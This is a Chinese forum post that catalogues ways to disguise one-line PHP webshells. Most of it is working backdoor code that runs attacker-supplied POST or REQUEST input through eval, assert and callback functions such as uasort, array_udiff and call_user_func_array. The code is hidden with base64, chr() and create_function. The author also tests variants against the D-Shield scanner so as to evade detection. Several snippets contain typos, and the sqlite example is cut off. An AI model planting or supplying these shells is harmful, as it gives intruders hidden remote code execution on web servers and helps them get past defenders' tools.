一句话木马简单变形

admin 9月前 174


木马变形的方式:

1.字符串拼接(编码,base64,rot13,chr())

base64编码案列:


<?php

$__C_C = "WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";

$__P_P = "abcdefghijklmnopqrstuvwxyz";

$__X_X = "123456789";

$__O_O= $__X_X[5] . $__X_X_[3] . "_";   //64

$__B_B = $__P_P{1} . $__P_P[0] . $__P_P[18] . $__P_P[4];  //base

$__H_H = $__B_B . $__O_O . $__P_P[3].$__P_P[4] . $__P_P[2] . $__P_P[14] . $__P_P[3] . $__P_P[4];  //base64_decode encode

$__E_E=$__P_P[4] . $__P_P[21] . $__P_P[O] . $__P_P[11];   //eval

$__F_F=$__P_P[2] . $__P_P[17] . $__P_P[4] . $__P_P[0] . $__P_P[19] . $__P_P[4];   //create

$__F_F=$__F_F . ’_’ . $__P_P[5] . $__P_P[20] . $__P_P[13] . $__P_P[2] . $__P_P[19] . $__P_P[8] . $__P_P[14] . $__P_P[13];   //create function

$__D_D=$__F_F('$__S_S',$__E_E . '("$__S_S");');     //create_function("",'eval();')==eval()

@$__D_D($__H_H($__H_H($__C_C)));    //eval('eval($_POST[x]);')

?>


chr()案列:


<?php

$_uU=chr(99) . chr(104) . chr(114);

//echo $_uU;

$_cC=$_uU(101) . $_uU(118) . $_uU(97) . $_uU(108) . $_uU(40) . $_uU(36) . $_uU(95) . $_uU(80) . $_uU(79) . $_uU(83) . $_uU(84) . $_uU(91) . $_uU(49) . $_uU(93) . $_uU(41) . $_uU(59);

//echo $ cC;

$_fF=$_uU(99) . $_uU(114) . $_uU(101) . $_uU(97) . $_uU(116) . $_uU(101) . $_uU(95) . $_uU(102). $_uU(117) . $_uU(110) . $_uU(99) . $_uU(116) . $_uU(105) . $_uU(111) . $_uU(110);

//echo $_fF;

$_=$_fF("",$_cC);@$_();

?>


2.create_function(参数,函数体代码) 创建匿名函数

3.preg_replace(‘/*/e’,phpinfo(),$data)

4.字符位运算(拼接)

5.<script language="php">phpinfo();</script>

6.不死马

7.gzinflate解压

8.不同位置传值

参数回调法:

回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。

已被D盾查杀的函数:


array_filter()

array_walk()

array_walk_recursive()

array_map()

registregister_shutdown_function();

filter_var()

filter_var_array()

uasort()

uksort()

array_reduce() 可疑(级别2)

array_walk()

array_walk_recursive()


最一般的绕狗、后门思路:

call_user_func('assert', $_REQUEST['pass']);   //直接参数回调,将$_REQUEST['pass']传入的数据,传递给assert函数去执行。

双参数回调后门:

<?php

$e = $_REQUEST['e'];

$arr = array('test', $_REQUEST['pass']);

uasort($arr, base64_decode($e));

?>

e作为传参参数,使用base64加密过的assert函数,即YXNzZXJ0,pass作为密码。整个过程是将调用$e函数,执行$arr,也就是用assert进行代码执行

衍生出来的方法有:

1.换为uksort函数:

<?php $e = $_REQUEST['e'];

$arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e);

2.面向对象的方法:


<?php

// way 0 

$arr = new ArrayObject(array('test', $_REQUEST['pass']));

$arr->uasort('assert');

// way 1 

$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));

$arr->uksort('assert');

?>


3.array_reduce

<?php

$e = $_REQUEST['e'];

$arr = array(1);

array_reduce($arr, $e, $_POST['pass']);

?>

4.array_udiff


<?php

$e = $_REQUEST['e'];

$arr = array($_POST['pass']);

$arr2 = array(1);

array_udiff($arr, $arr2, $e);

?>


变种array_udiff

<?php

function newsSearch($para0,$para1){

$evil=$para0;

$exec=$para1;

array_udiff($arr=array($evil),$arr1 = array(''),$exec);

}

$exec=base64_decode($_REQUEST['exec']);

newsSearch($_POST['key'],$exec);

?>


5.register_tick_function()

<?php

declare(ticks=1);

register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);

?>

6.变种call_user_func_array()

尝试模仿正常函数调用,定义一个简单的function:

复制代码

<?php

function newsSearch($para0){

$evil=$para0;

$exec=$_GET['id'];

call_user_func_array($exec,array($evil));

}

newsSearch($_POST['tid']);

?>


使用D盾查杀。没过!!变量$exec被解析成了$GET["id"],但$evil没有被解析,猜测只要将$exec放在newSearch()函数外面用GET方法获取,就不会被D盾解析,编写新的shell:


<?php

function newsSearch($para0,$para1){

$evil=$para0;

call_user_func_array($para1,array($evil));

}

$exec=base64_decode($_GET['id']);

newsSearch($_POST['tid'],$exec); ?>


同样使用call_user_func函数,构造shell如下:


<?php

function newsSearch($para0,$para1){

$evil=$para0;

call_user_func_array($para1,array($evil));

}

$exec=base64_decode($_GET['id']);

newsSearch($_POST['tid'],$exec); ?>


三参数回调后门

<?php

$e = $_REQUEST['e'];

$arr = array($_POST['pass'] => '|.*|e',);

array_walk_recursive($arr, $e, '');

?>

这段代码的最终效果是回调名字为$e的函数,$arr数组中的$_POST[pass](键)作为回调函数的第一个参数,'|.*|e'作为第二个参数。''作为第三个参数。

最常见的preg_replace

preg_replace('|.*|e', '你的命令', '');

其他效果类似的函数:

mb_ereg_replace

preg_filter

sqlite回调后门

如果可以使用PDO的话,可以用sqlite的PDO来执行代码

<?php

$db = new PDO('sqlite::memory:');

$st = $db->query("SELECT 'phpinfo()'");

$re = $st->frtch

?>


最新回复 (0)
返回
发新帖